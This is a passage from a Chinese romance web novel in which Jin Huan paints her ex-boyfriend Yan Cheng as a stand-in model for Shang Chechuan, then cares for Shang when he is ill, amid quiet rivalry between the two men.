“陈小姐,我的合约其实到期过了,只是没在网上公开。”
陈瑞初笑容淡了下来,“你认识我?”
对方没说话,只继续道,“我没自己开工作室的打算,维艺家大业大,名声也很好。”
维艺即陈家的产业分支,目前老总是陈瑞初她爸。
现在陈瑞初不说话了,等着对方开条件。
不过说起来,其实签约艺人条件这些具体的明细她也不清楚,而且现在也不是谈这些的场合,她思索了下,准备问问言承明日有没有时间,但还没开口,就看见言承目光落在了靳欢身上,
“没找
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到合适的模特?”
靳欢没应声,他也不在意,“我可以吗?”
陈瑞初凌乱了。
倒是靳欢淡定抬眸,“这是你的条件?”
言承没犹豫,“是。”
“成交。”
靳欢站起身来,低头在手机黑名单里找到人放出来,“今天还有事,先走了,时间回头发你手机上。”
……
陈瑞初很不淡定。
眉头皱得死紧。
她这个人有些奇奇怪怪的“秩序”,上次说的不随便把醉酒的朋友交给别人是其一,其二便是不喜欢用朋友去交换利益。
虽然把人喊过去当一次模特而已,又不是什么大事,但这毕竟不是欢欢自己选上的模特,还要白白浪费了欢欢的时间去应付他。
十字路口等红灯的间隙,靳欢侧眸扫了一眼过去,“你怎么知道不是我自己选上的?”
陈瑞初,“……啊?”
良久,脑子才好似刚回过神来,“不是……什么时候啊?”
前方的数字已经进入倒计时,
八,七,六,五——
靳欢抬头看着,指甲修剪整齐的食指在方向盘上愉悦轻点,四,三,二——
车子前进的声音里夹着一声轻笑,
“在你喊我抬头看大屏幕时。”
只是她本想着等回去后再找找联系方式,没想到还没出华星,对方就主动找了上来。
陈瑞初沉默半晌,双手大拇指一起给靳欢点赞!
过了会,又似想起了什么般,突然兴奋道,“之前我说要去海上过生日,我爸非说太张扬了,不同意,这次要是能顺利将言承签下来,我可是立了一大功,回头再磨一磨,我爸指不定就答应了!”
虽说签约这事又不是今天在咖啡馆里那样说几句就定下来了,但是双方都有了意愿和诚心的情况下,剩下的无非是些细节的拉扯。
“我现在就和我爸说,和言承那边谈判时得把我也带上,别回头他们搞砸了,那我可就亏大了!”陈瑞初一边点着头一边拿出手机,“欢欢,你别忘记之前答应过我,过生日时要去哦?”
“没忘记。”
……
晚上六点,靳欢准时开车回临山别墅园。
到了后,她还没把车停稳,就看见家里车位上已经有了一辆车。
这是?
她尚在思索,下一瞬,就看见家里大门外有个修长身影正在接电话。似是被她的停车声惊扰,抬眸看了过来。
靳欢一愣,不是说不来么?
她一边拔车钥匙,一边挥了挥手打招呼,小声问候,“澈川哥,你也在呀!”
门外,电话根本从未接通过,自然也没有声音。
阴影之中,商澈川脑海中回想起今日在公司偶然听到的闲话,目光经过靳欢的副驾驶座时微微停顿了一刹那。
所以那天她那么着急挂断了电话,是因为有人在副驾驶上等着吗?
男朋友?
呵。
得到过她男朋友这个殊荣称号的人太多。
只是还没人走得到最后。
所以,一个过客而已,不必在乎。
笑到最后的才是赢家。
看着来人下车走近,商澈川垂眸掩去其中沉色。
10. 人偶
靳欢见他挂断了电话,才放开了声音说话,“澈川哥,早知晓你过来的话,我就把你的衣服带到这里来了!”
“没事,我明天上午过去拿。”
明日?靳欢迟疑了一瞬,其实明天上午她约了言承到她家里去——
“不方便么?”
靳欢摇摇头,“倒也不是——”
正欲再说什么,便看见身旁人揉了揉眉头,颇有些疲倦摸样,“抱歉,最近太忙了,别的时间——”
话尾停顿了下,像是在检索有无其他合适的时间。
靳欢视线在他眉骨处经过,又错开到别处,
“就明日吧。”
其实一件衣服而已,谁来取谁去送都不大重要,只是她想着要送人袖扣的事,还是当面送更有诚意些。
说话间,已经到了门口。
靳欢正要问清一下具体是几点,一转头却不由得愣了下神。
适才在外面没开灯太暗了,现在才看清商澈川今日穿的是一件有些休闲风格的衣裳,意外去掉了几分疏离,好像哪怕是大学时代也很少见他穿这种风格的衣裳。
靳欢余光迅速将人浑身上下都打量了一边,心里忍不住惋惜,这身材——
要是可以乖乖当一当自己的换装人偶该有多好!
她保证玩一个月都不会腻。
这事儿她以前就觊觎过,就是实现难度太大了。
唉。
真是越惦记越多,感觉在挑战自己的忍耐力。
有时想想,要是沈家和商家没有交情就好了,无所顾忌,反倒是可以随心所欲些。
屋里,沈云岚已经在催促,
“愣着干嘛,都快洗手去,吃饭了!澈川,幸好你那会议提前结束了,不然可就错过你伯父做的这十全大补汤了!”
……
次日。
高乔。
见专业高处清洁工到了后,前台忙喊了后勤过来,“刘叔,你看着会,边边角角都擦干净些,特别是两边的摄像头,都一并清洁下,让他们小心点,别越擦越花!”
男人忙应下了。
另一位一同值班的前台看见后,好奇道,“这又不是什么节日,怎么想起清洁这个了?”
“嘘,小声点,擦玻璃是小,主要还是要擦擦那两个监控。”
“啊?”
“昨天你调休了所以不知道,昨天商总突然有什么事调监控看,看完后就冷着脸,嗯,然后就有人猜测说估计是嫌弃监控太脏了!”
“……啊这,商总今天来了吗?”
“来了来了,不知道几点到的,反正听刘叔讲,他七点过来开门时,商总就已经到过了。”
两人小声聊着天——
顶楼,办公室——
看见手机呼吸灯闪烁,商澈川视线从电脑屏幕上移开,解锁,点开对话框,只是在看到对面发来的照片后指尖微微停滞了下,眉头微皱,不是那日在副驾驶上的人?
可下一瞬,却好似突然发现了什么般,微微坐直了身子。
这身衣服?
他定定看了一眼,肩膀逐渐放松下来,唇角带上一丝弧度。
要让她足够上心才不至于被她丢弃。
这个过程艰难,但他势在必得。
另外一个对话框在此刻弹出,
“商总,我人已经到Winche了,您要什么品牌什么风格的衣服?我现在和品牌方沟通。”
Winche,在华地区最大的各品牌首汇区。
刘章紧紧盯着手机等回复。
一大早,他连公司都还没进,就被派到这买衣服。不理解,商总的以前衣服不都是直接定做吗?怎么这次要买成衣了?而且到底买什么样的也没说?
他满心疑惑,还在猜测究竟是什么样的衣服要的这么急,结果一定神,看见对面已经回复了消息,
“不用了。”
啊?
刘章手下迅速打字回复“好的”,心底却瞬间跑过十万个为什么。
可惜想来想去,着实没思绪。
……
锦月湾。
电梯门开了后,言承并没立马进去,而是再一次回头环顾了一眼车库,但是并没发现任何异常。
不知道为什么,他总感觉刚刚有人拍照。
他倒不是怕自己被拍了有舆论影响,而是怕欢欢知道了嫌弃他麻烦。
呼——
进入电梯后,言承长呼一口气,将帽子摘下,对着电梯门整理了下发型,又理了理身上西装。
他身材很好,这身西装虽然是昨晚刚买回来的,但是穿着也很合适。
乍一看和定做的也没差。
只是肩膀处微微微微有一丁点儿不服帖。
不过问题不大,既然欢欢说了喜欢这个牌子这个版型,回头他直接多定做几件。
电梯距离目标楼越来越近,言承心情越来越激动。天知道他昨日在华星看见她时,他有多紧张,用了多大的力气才按捺住急切,假装镇定上前去搭话。
楼层到了,言承出了电梯后并未立刻按下门铃,而是先认真打量了几眼门牌号。
毕竟之前即使是在热恋期时,欢欢也从来没让他进过家门。
可商澄明就可以和她住在一起!
想到这个名字,言承脸上满是郁气。大学时期,若不是商澄明不要脸面横插一脚,欢欢何至于会和自己分手?
他深吸一口气,压下情绪,抬手按在门铃上——
……
房门打开,还未见人,酒味就先从门缝中飘荡出来。
言承下意识脱口而出“怎么大早上就喝酒”,但话说到一半从打开的门扉中看见来人,后半截的话语没由来就弱了下来。
太小声了,以至于靳欢根本没听清,独自回身走了几步,见人没跟上来后才疑惑回头,“怎么不进来?”
动作间,黑色连衣裙腰间直接散着的腰带也一并微微回荡。
言承目光落在上面,错愕之下微微张着嘴巴,“欢欢,你——”
“什么?”
“你,你是不是——”
你是不是也还记得我?
不然,不然怎么会这么巧就穿了他们第一次见面时穿的裙子?
他还记得每一个细节。
那时是朋友的生日会,玩闹到最后,有不肯散场的人播放起了舞曲,尚且留有的精力的人三三两两都挤入舞池中,他瘫在沙发里正在无聊打小程序游戏,忽然被人抬手在面前挥了挥,
“Hi,跳舞吗?”
游戏界面小人落入熔岩失去最后一条命,页面瞬间弹出是否要看广告复活。
他不耐烦地要点“否”,要对来人说对跳舞没兴趣,但是抬头时,却把两样事情都搞糟了。
拒绝的话忘记说出口,手指也误触到了其他地方,浮夸的广告声乍然响起,他手忙假乱地狂点返回。
可是再抬头时,适才还在他面前的人已经被别人喊走。
嘈杂的声音里,他只能勉强分辨出一点点踪迹,有人喊她,
“欢欢,都快散场了,你怎么才来啊?哎,别动,系带松了,我帮你系上!
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”
那时,她穿的就是这条黑色裙子。
寿星包下的场所足够开阔,但是她一出现,几乎就连她经过的边边角角里,都成了目光的焦点。
想和她跳舞的人一个接着一个,他守到了最后,终于得到了机会,但是音乐却陡然停住,寿星头上的生日帽歪歪斜斜,站在话筒前醉意明显,“谢谢大家来参加我的生日会,今天,今天就到这里吧……”
后面寿星还说了什么他都完全没听见,因为站在他面前的少女笑得璀璨,眨眼时像是星星在里面流动,
“呀,要结束了,看来今天没机会跳啦!”
不,还有机会的,他那时想。
她离开后,他迫不急切向朋友打探她的消息,朋友丝毫不惊讶他的动机,只摆摆手道,“人家有男朋友了,是丛大话剧社的,关系好着呢!”
往事一幕幕在脑海中闪过,言承紧盯着靳欢,又想问又不敢问,以至于犹豫间,靳欢人已经直接向着屋里面走去,边走边道,“你随便坐吧,要喝什么自己倒。”
见她有事要忙的样子,言承只得先压下到了唇边的话,暗自打量了一遍房子里的装修。
到处都很整洁,风格简约大气。
以及,入门处的临时鞋柜上,只有女鞋。
……
靳欢其实并未喝太多酒。
屋里面酒味这么浓,是因为她开酒时不小心打碎了一瓶罢了。
家里只有那一瓶度数稍微高些,碎了后,她又开的只是一瓶低度的果酒。
味道不错,只是可惜了是石榴酒,口感顺滑但还是缺点感觉。
她忙着布置场景,暂时没时间理会言承。
按照计划,她选择的场景是落地窗边,但奈何反复观察,总觉得光线差点意思。
又一次调整了窗帘的开合后,靳欢绕到了画架后面,思索片刻,抬手指了指特定位置,“言承,你站在那里我看看。”
没人应声?
靳欢以为他没听见,回头又喊了一遍,“言承?”
言承其实听清了她的话,只是现在是他难得的有讨价还价余地的时刻。
配合当然是要配合的,不然他怕欢欢现在就把他直接赶出去,不过在配合的过程中,也可以稍微地有所周旋。
言承一边向着靳欢指定的位置站,一边像是闲聊一般开口,“你以前都是喊我阿承的——”
喊什么都无所谓。
靳欢退后一步看了看,还是对位置不满意,“左边一点——”
不满意。
“肩膀微微向这边侧一点——”
不满意。
“头稍微低一点——”
不满意。
但窗边的人看起来已经在很尽力配合她了。
靳欢在这些事情上追求完美,向来耐心十足,思索了下,自己站直身子示范起来,“阿承,像我这样。”
这次终于有几分感觉了。
从特定角度看,这张脸的上半张眉眼处足足有八分肖似那晚的商澈川。
靳欢一高兴,连声音都变成了上扬的调子,
“可以可以,阿承,你太太太可以啦!”
她的尾音甜脆,配合看过来的笑眼,彷佛有十二分的深情。
言承心跳声错乱得一塌糊涂,在脑子还没反应过来,就已经满脸笑意,“欢欢——”
可是靳欢没在听他要说的话。
她在想,笑起来就不像了。
完全不像。
靳欢笑意不变,眸子依旧深情,“不不不,阿承,不要笑哦!”
11. 之一
言承一怔,一时之间甚至没能反应过来她话中的意思。
靳欢正在仔细比对光线,从画布旁探出脑袋,“就像刚刚我教你时那样的神情就可以……哎,对,就是这样!”
听到她认同,适才一闪而过的直觉阴霾瞬间消散,言承默默在已经举到有点酸的胳膊上又加了些力道,力图做到最完美状态。
但是一起准备就绪后,窗边光线突然起了大变化——
风吹来的一大片云,刚好挡住了日头。
靳欢仰头看了一圈,猜测用不了多大会儿云就会散去,于是也不着急,示意言承可以先放松放松后自己就往冰箱走去,拿出果酒要倒一杯时才突然想到了什么,转头问道,“自己开车来的么?”
见言承点头,靳欢只将果酒续在了自己杯中,转头另外拿出了一瓶橙汁晃了晃,“甜的可以喝吗?”
“可以。”言承接过来,直接开盖喝了几大口。
靳欢瞧见,有点惊讶,“咦,演员不用保持身材控制饮食吗?”
哪怕时隔几年未见,被她目光从上到下打量了一遍时,言承仍是忍不住感到紧张和躁动。
紧张的是,怕她对自己的身材不满意。
躁动的则是……他一直没忘记他们还未分手时,她指尖描摹过自己腹部肌肉轮廓的温度。
言承借着又喝了一口橙汁的机会掩饰住情绪波动,故作淡定,“我有坚持锻炼。”
靳欢“唔”了声,在吧台旁坐着手撑着下巴点头,笑眼盈盈,“难怪呢,将衣裳穿得这么好看!”
明知道她说谎话信口就来,言承仍是根本压不住唇角,橙汁好像也甜到有些发腻,言承怕再这样下去,自己将彻底丢掉主动权,于是强行换了话题,“你之前是去国外了么?”
靳欢点头,“刚回来。”
言承犹豫了下,“欢欢,你看过我演的电影吗?”
他们在一起时,她答应过自己的,如果自己以后演了电影,她一定看。
“看过呀!”靳欢将余光从窗外的灰色云朵上收回,“你那部《插翅难飞》演得就很好嘛。”
言承眸光闪烁了下,“那是我第一次拍电影,演的还是警察角色,当时特别紧张,怕辜负了导演的信赖。”
靳欢小口小口抿着酒,闻言仰头看向站在吧台对面的言承,“有天赋又很努力,你完全演出了角色的灵魂,阿承,你完全值得再骄傲一些哦!”
乌云已经偏移些许,有透过镂空窗帘的细碎阳光落在她脸上,将她眼中的真诚衬托得更加耀眼。
可惜是谎话。
言承沉默半晌,尽管已经做了半天的心理工作,一开口仍是止不住有些控诉语气,“其实,那部电影名叫《在劫难逃》。”
啊?
虽有些错愕,但靳欢面上还算自然,这两词义这般相近,记错了又不是不能理解。
可正当她要解释一二时,言承却已经继续开口道,“我在里面演得也不是什么警察,而是罪犯。”
哦嚯。
靳欢感觉事情不大美妙,唉,早知道就说没看过好了。
反正也真的没看过。
“阿承,我一直在国外——”
“但你以前答应过我,我演的第一部电影,你一定会看的。”
靳欢感觉有点好笑,情人时的承诺怎么能在分手后还要当真?
但余光瞧见外面光线已经明朗起来,她果断将到了嘴边的话重新咽了下去,重新开口道,“下一部我一定去影院——”
“不用下一部。”
“嗯?”
言承定定看着她,“明晚可以一起看电影么?不用去电影院,在家里就可以。”
就这样?靳欢直接应下了,“可以呀,如果你明晚没别的安排的话。”
……
光线正好。
每一缕都恰到好处。
靳欢站在画布前开始落笔时,言承在努力克制住自己想要看她的冲动。
她拿起画笔来就像是变了一个人,神色淡定但专注,让人忍不住想要放轻呼吸生怕打扰到了她。
说起来,若不是分手前偶然撞见她画画时的摸样,自己恐怕根本不会意识到她没有自己想象的那样爱自己。
原来,她真正爱一个人或者一项事情时是那样的神情。
他那时年轻气盛,实在没忍住质问出口,可是再怎么样他也从没想过分手,他那时甚至已经做好了心理工作,没那么爱又如何,他足够爱她就够了,不是么?
可是等他为了见她一面在蒙面舞会上找到头晕目眩,最后终于在院子里看见她懒懒坐在秋千椅上时,还未来得及高兴,就看见商澄明单膝跪在她身前,声音忐忑,“欢欢,我,我可以做你男朋友吗?”
那一刻空气都是静止的,唯余心跳如雷,在恍惚中,他听见了她应了声“好呀”。
商澄明兴奋抱着她转圈圈,又要拉着她进去跳舞,他试图拦住去路,却被商澄明扬眉挑衅,“欢欢喜欢体面一些的前男友,你不会想要死缠烂打吧?”
哈?体面?后来他商澄明分手时在酒吧里烂醉如泥就体面了?
以前思及这些往事,言承心里总是愤愤居多,但现在和靳欢重新相逢,他总感觉又有了新的希望,心头反倒是明朗起来。
他一心在为了以后谋划,反倒是没注意到画布前靳欢的笔已经很久没有再继续落下过。
画布之上,勾线已经结束,整张脸的轮廓都已经显现,大面积的底色铺就之后,其中一双眉眼最先被反复酝酿细化出足够多的神韵,只是再往下时,靳欢突然犹豫起来,那种怎落笔都不对的感觉又隐隐浮现上来。
她按耐住急躁,正要不管如何先定下关键笔触再说,门铃声忽然响起——
言承也被扰断了思绪,下意识要去看看。靳欢用眼神示意他不用动,自己放下笔起身过去开门。
门外。
商澈川看来人久久未曾有动静,眼中浮现出一丝适时的疑惑,微微压低声音道,“不方便么?”
靳欢回神,开口否认,“不,方便。”
说话间,转身便先去拿已经洗好装起来放在一旁的西装外套,只是余光仍是想要窥探站在门口的身影。
适才还未开门时,她仓促一瞥玄关旁的门外监控显示屏,便已被惊艳过一霎,但还远不及现在这样面对面看着来的真实。
楼道里的窗户是微仿古的上下两扇,下面用的是常见的通透度较高的玻璃,上面用的欧式彩色玻璃,明蓝杏黄草绿搅合成一团。
她在西方见过这种风格太多,一直觉得这扇窗色彩搭配上太过于粗糙,但现在阳光映在上面,彩色画面变成门外男人的背景,倒是添光不少。
人为景添光。
尤其是视线经过他鼻梁时,她终于知晓了刚刚在画布前一直犹疑不定的点是什么了。
她一边在玄关柜子上找装着袖扣的礼盒,一边分神想,本以为那种半明半暗的氛围适合他,现在看来是百搭嘛。
玄关柜子布局简单,一眼明了的地方之外,只有两个滑轨抽屉,靳欢一一看过,都并未发现袖扣的影子,不由得“咦”了声,皱紧了眉头,她记得那日带回家后随手就放在这里了啊?
“怎么了?”
这是言承的声音,他刚从窗边走了过来,面带询问。
靳欢摇摇头,正要说没事,突然想起了那天她把耳钉拿到衣帽间去,估计是把袖扣的袋子一道拿了上去,便先看向商澈川,
“澈川哥,你先等我一下,还有个东西要给你!”
说完不等人应声,就直奔二楼衣帽间而去。
一时之间,屋内只剩她的鞋子踩在木质楼梯上的轻快嗒嗒声。
楼梯转弯处,靳欢余光无意间垂眸时,只瞧见楼下两人互相礼貌点了点头。
俱是西装在身,身形修长,别的暂且不论,单就这幅画面看着就挺赏心悦目的。<
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p>靳欢歪着脑袋多看了几眼,心中突然想到昨天陈瑞初发消息喊自己下周去看Maffi的春夏男装秀,本不大想动弹的,现在看来倒是也可以去去。
几个新锐时装品牌里,Maffi的男装设计虽算不上格外出色,但是当家设计师挑选男模的眼光却是一绝,而且前几次秀场设计也都很有新意。
记得去年好似是假面约会的主题?
这次是什么主题来着?非正式商务晚宴?
登几步楼梯的时间,靳欢神思已是顺着刚刚的一丁儿轨迹直接漫游到了澄澈香槟酒映照出的流光溢彩中。
她一向钟意这种不用负责任的热闹。
可楼下——
随着她的脚步声走完最后一个楼梯,楼下两人神色上俱是发生了变化。
乍看之下没什么不同,但是空气的流动却慢了下来。
一句话都还未说时,一个照面的碰撞就已是分出了第一轮的胜败。
看着对方身上和自己几乎一模一样的西装,言承心里哇凉一片,用出了十足的演技才维持住脸上的体面。
到底是不甘心。
他强自镇定下来,先一步开了口招呼道,“进来坐吧,欢欢马上就下来了。”
说话间,主动侧过身子示意对方进来。
商澈川脚下并未动,眉眼只在言承喊“欢欢”二字时才多了丝一闪而过的冷意,“言先生不必客气。”
“你认识我?”
言承脱口而出,说完后才想到对方或许是看过自己演的电影,暗自懊恼太大惊小怪失了气度。
他正要给自己找找补,就听得对面继续道,
“欢欢和我说起过你,她的前男友——”
中间似是有了几秒的停顿,说话人才漫不经心接上了下文,“之一。”
一句话,直接把他定义成了无所谓的过去式。
言承气急,要反问对方又算是什么人,但楼梯上已经传来靳欢的下楼声,他只得把到了喉间的话又重新压了下去。
他安慰自己,这人或许就是故意激怒自己,不用理会他的挑衅,与其问他,不如等会儿亲自问欢欢。
可等人走了后,再面对靳欢,言承犹豫半晌,竟没有开口问问刚刚那人身份的勇气。
万一,万一真是她男朋友呢?
哥……他从没听说过她有哥哥啊?
他绞尽脑汁试图回忆靳欢有没有和他说起过有什么哥哥,画布前,靳欢自从商澈川走后就再也未落下一笔,最后索性随手扯了布盖上,抬头看向言承,“着急回去吗?”
言承愣了下,“画完了么?”
他本以为至少要画两三天……
靳欢不置可否,“不着急回去的话现在看电影可以么?”
“阿承,咱们就看你演的那部吧?”她脸上带着期待,“听说得了不少奖?肯定很不错,不过你不许提前剧透哦——”
……
屏幕上电影已经播放至一半。
言承以前不止一次幻想过和靳欢一起看自己主演的电影的场景,但现在两人当真一起坐在了沙发上,他却半点也静不下心来,只频频出神,心乱如麻。
反倒是靳欢,盯着屏幕看得津津有味,中途还特意点了爆米花零食外卖。
不得不说,这电影难怪好评如潮,剧本本身很出色,导演能力也很强,连几个转场的空镜都拍摄得精细且有新意。
两个小时的电影,一口气看完,很是畅快。
靳欢伸了个懒腰,靠在沙发上仰头看着天花板放松脖子,过了几秒钟,突然想起了什么,将手机扒拉出来,“阿承,我现在就去给你补一个五星好评,哎呀,好后悔当初没去电影院看——”
言承看着她侧脸,来不及辨认这话里面究竟是后悔居多还是懒洋洋居多,他暗自给自己打气,故作轻松开了口,“你喜欢就好,欢欢,《RedMoon》下周五晚到这里巡演,我买了票,要不要一起去看?”
14. 优待
听见动静时,靳欢抬头看去,目光忍不住微微顿住——
隔着庭院,秋日渐寒的斑驳阳光,映着来人身影,像是现实主义油画画卷在缓缓展开。
不知为何,她总觉得这次回国后和他见过的几面里,这人浑身气质比早几年直接增长了不止一个点。早些年她不是没起过歪心思,但从没像现在这感觉自制力在下降。
而且她在国外那几年里,也见过这人几次面的,当时也没这样过。
难道是因为自己目前正处于空窗期的缘故?
靳欢轻轻咬了咬舌尖,感觉前几天出去疯玩时极力忘却的那种蠢蠢欲动又在死灰复燃。
她在看向里面的人时,里面的人也在看向她。
商澈川压下眸中波澜,将门打开,似是要开口说什么,只是还未出声,便先忍不住别过脸几声咳嗽。
靳欢一愣,离得这般近了,才看清商澈川整个人脸色都很不对劲,像是在发着高烧。
来之前,她以为只是风寒感冒了。
靳欢忙道,“澈川哥,要不要去医院?”
“没事,咳咳咳——”商澈川嗓音沙哑,“吃过药了。”
靳欢本打算把驱寒汤递给他就回锦月湾睡觉的,现在见状,多少有点儿不放心,思索两秒,决定还是留下至少等人退烧再走。
毕竟发烧可不是小事情。
而且,她对他是否吃过药了也抱有怀疑。
以前有过一次,也是秋冬换季期,他也是发烧,也是说自己吃过药了,自己和商澄明就放心去了游乐城,结果回来后这人已经烧到开始说胡话。
……
这是靳欢第一次来这处别墅,经过院子还没什么感觉,一进了屋子,熟悉感立马扑面而来。
这里装修和他们大学时一起住过的西锦苑风格太像了!
像到她一迈入一楼客厅,就好似回到了大学时代她在外面没有玩够,回到西锦苑趁着家中没人,干脆开了音乐,把客厅当做舞场直接跳个尽兴的时光。
难不成是出自同一个设计师的同一个方案?别说,这还真有可能,依着商澈川的性子,很可能懒得再麻烦另找设计师。
只是不知楼上是否也是和从前一样?
楼梯口,靳欢正微微仰着头向上打量,忽然听得身后传来声音,“怎么了?”
靳欢回过神来,摇摇头,“没事儿。”
说罢,目光在他比往常都要红的眉眼停留了下,忍不住问道,“澈川哥,你多久之前吃的退烧药?”
似是因为生病缘故,他反应比往常慢了两拍,迟疑一瞬才看向手表,“十一分钟以前。”
十一分钟?那退烧药还要一些时间才能起作用。
家里难道没有什么物理降温的药物?
靳欢张张口,想问他药箱在哪儿,但话还没出口,她的眼睛就已经凭借着记忆力在熟悉的位置找到了药箱。
过去打开后,最上面有一板退烧药,空了两片,看来是真吃过了,靳欢心里点点头,继续在里面翻找,最后终于找到两贴还未过期的退烧贴。
可递过去后病人却迟迟不肯接,“已经吃过药了。”
靳欢不理会他,自顾自撕了包装,然后故作不经意喊了声“澈川哥”,趁着人低头看她的功夫,直接抬高手将退烧贴按在了他额头上,然后拦住他下意识想要取下来的手,推着胳膊将人推到沙发上坐着,
“贴一会儿就行,澈川哥,你就先坐这里等会儿吧!”
刚好,他坐在这里她也能盯着他,防止他偷偷撕下来。
靳欢在他对面的沙发坐下,拿出手机随意刷着网页。
十分钟后——
靳欢一抬眸,本是要看看退烧贴还在不在他额头上,却瞧见人已经睡着了。
斜靠在沙发背上,雾青和灰色交替竖条纹家居服,将他侧脸都衬托得比往日要柔和不少。
她心下微动,拿起手机小心靠近,找好角度直接连着拍了好几张才将快要没电关机的手机揣进兜里。又找了个毯子盖他身上,观察了一下,退烧贴还是很湿润状态,应该不用更换。
想到另外一片退烧贴还在药箱里,靳欢过去拿出来先放到了冰箱里,没成想还有意外之喜——
冰箱里竟然还有两瓶荔枝酒,而且还是和她上次喝的那个石榴酒是同个牌子。
没犹豫,直接开了一瓶。
就当做是照顾病人收取的报酬嘛。
味道果真和她想象中的一样,不过本来就困,喝了酒后就更困了,靳欢打了个哈欠,打算再等半小时看看,如果商澈川人没事了她就回去。
可是眼皮越来越重,尤其是手机在吧台那边充电,手里没东西可玩的情况下。
彻底向着困意缴械前,靳欢干脆将毯子都裹在了自己身上,防止冻着了。
想睡就睡好了,睡一会应该也没什么,她总不能比一个病人还睡得久吧?
……
病是真病,但发烧就未必了。商澈川睁开眼时,眸中半分睡意也无。
反倒是对面沙发上,靳欢将靠枕当做枕头,直接舒舒服服躺着睡得正香,连毯子的大半都垂在地上也未发觉。
她一向如此,从不自寻烦恼。
再想要的东西一旦得到有点困难,也能说忘记就忘记。
比如,前一日看向他时明明还是意动的,后一日就可以直接飞去国外连着一周毫无消息。
得知她飞去国外时他已经感觉不妙,有意在网上搜索相关消息偶然看见那段视频时,他一眼便认出镜头停顿处那个戴着针织帽和口罩倚在旁边人肩头睡着的人是她。
——她前一日夜里玩到了几点,才会那样困乏?
——她的那个让她舍不得分手的前男友在不在?
——她是不是找到其他动心的目标了?
他当时已经定了机票,最后被理智强行压下。
线太松了,她掌握了主动权,会在玩腻后随手丢弃。但线绷得太紧,也会被她察觉后挣开。
沙发旁,商澈川单膝跪在地上,放低视线看着沙发上的人的睡颜,眸底沉色翻涌,是为难,更是贪念。
吧台上正在充电的手机响起了铃声,但只响一声便被人调成了静音。
久久未有人接通,对方只得挂断,约莫过了一分钟,又打来了第二个……
吧台旁,商澈川看着屏幕第三次亮起“言承”二字时,才拿起手机将来电铃声调成正常的瞬间点了接通。
走了阳台,压低声音,“喂?”
对面安静几秒,才惊疑开口,“你是谁?欢欢手机怎么在你这里?”
这通来电是意外之喜。
合格的前任应该像死了一样从她身边销声匿迹。
商澈川不急不忙,等着对面问完后,才淡定开口,“欢欢太累睡着了,言先生有什么事?等欢欢醒了我转告她。”
……
靳欢一觉醒来,神清气爽,大大方方伸了个懒腰,只是一转头瞧见外面只剩夕阳时顿时懵了瞬。
再看对面沙发,果然已经空空。
额,貌似睡太久了?
她起来去找手机,走到一半,就瞧见商澈川从楼上下来。
他估计是刚洗完澡,头发还有点微微的潮湿,喉结之下,线条流畅,锁骨没入衣领。
靳欢心里忍不住啧了声,感觉像是发现了游戏角色的新皮肤,她眨眨眼按耐住心绪,“澈川哥,你烧退了吗?”
“嗯,”商澈川目光扫过吧台,嗓音依旧微哑,“有人给你打过电话,没说什么直接挂了。”
电话?靳欢疑惑一瞬,过去解锁屏幕,果真看见有两个未接来电,看来是自己睡得太沉了,连铃声都没听见。
她大概翻了下消息,和言承的聊天界面还停留在上次,猜测他打电话过来估计也没什么急事,便没理会。
时间已经五点出头,靳欢想起答应了瑞初六点去她家里陪她试生日会礼服的,便忙开口告别
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,“澈川哥,那我就先走啦?”
“我送你。”
啊?靳欢愣了下,“不用的,我开了车——”
话未说完,顺着楼梯上的人的目光看向冰箱,靳欢才恍然想起自己今天下午喝了酒。
但其实喊个代驾过来就可以了,可楼梯上的人已经示意她稍等一下,转身去了楼上换衣服。
嗯……也不是不行,反正见他脸色已经好转许多了。
靳欢靠在吧台上一边明目张胆欣赏他背影,一边无所谓地想。
……
路上稍微有点堵车。
到了陈瑞初家门口时,已经六点十几分。
车刚停稳,陈瑞初已经迫不及待提着裙摆过来在车门口转了个圈,“宝,你看这件怎么样?”
明黄色。
大裙摆。
如同盛放的向日葵,足够张扬的生命力。
靳欢直接给打了满分,“Perfect!”
陈瑞初乐得开怀,搂住靳欢脖颈贴上去就要亲她一下,结果还没碰到,余光撞上车中人侧眸看过来的目光,动作蓦得僵硬了下。
她下意识缩了下肩膀,感觉有些冷。
靳欢察觉到,哭笑不得,“这样出来不怕冷啊?快进去——”
催促完,转头和车里人告别,“澈川哥,今天谢谢啦!”
“不用客气。”
陈瑞初自从发现车上还有人就一直别过脸没再开口,此刻听见车开走了的声音后才拉住靳欢胳膊,有些好奇又有些不满,“欢欢,你怎么坐他车过来?”
“我喝了酒开不了车。”
“你早说嘛,我直接去接你!”
靳欢听出不对来,边走边疑惑道,“你怎么对他意见这么大?还是因为上次的事?”
“我没那么小气,”陈瑞初犹豫了下,“……他刚刚用眼神吓我?”
“?”靳欢以为自己听错了,“刚刚?吓你?”
“对,就是将才我要亲你时!”
靳欢无语片刻,
“答案只有一个。”
“什么答案?”
“你被冻出错觉了。”
……
设计师送来的礼服其实一共有二十来件。
陈瑞初选了那件明黄色作为主礼服后,又选了一件挂脖流苏款作为晚间简礼服。
靳欢在一旁帮忙参考妆造,前前后后,到了接近八点半才初步定下来。
两人中间吃了披萨,现在倒是也不饿,此刻累得倒在阳台沙发上,一人一碗水果酸奶,有一句没一句地闲聊。
就是聊着聊着不知怎么回事又转到商澈川身上——
陈瑞初疑惑,“你们现在不是不住在一起了?怎么你喝了酒他送你过来?”
“他生病了,我去看他。”
“哈?”陈瑞初面上鄙夷,“他一个成年人,生病不会自己看医生吃药哇?他生什么病?该不会只是感冒头疼这种吧?”
靳欢摸了摸鼻尖,本想说他可能还真不会吃药,但这事又涉及商家的隐私,不大好说,最后就含糊嗯了声,“生病嘛,总归不舒服的。”
说起来,她也是之前听她妈和商伯母聊天时得知的。
商家老爷子年轻时风流倜傥,七个孩子有五个妈。
七个孩子里,五男三女,按年龄,商伯母排行第三。商伯母年轻时有段时间在公司风头太盛,被人盯上,不好对她下手,就把主意打到了商澈川身上。那会儿商澈川才读幼稚园,本来只是生了场小病,但是药物被人偷偷换掉,在医院吃了不少苦头,最后才把命捡回来。
难怪他不爱吃药,这放谁身上都得留下心理阴影嘛。
靳欢正想得投入,结果一回神看见陈瑞初一本正经地凑到自己面前,神神秘秘道,
“欢欢,我发现你对商澈川格外不同。”
她把人推开,起身到了栏杆处看着远山轮廓,随口调侃,“他的脸难道就不值得优待一点?”
17. 见色
催促商澈川赶紧用冷水冲一冲,靳欢自己则扶住了炒锅把手。她不会炒菜,但胡乱扒拉几下还是可以的。
只是一动手,才忽然意识到她本来要递给商澈川的长柄锅铲竟然还在她自己手里拿着。
……难怪他会被汤汁迸溅到。
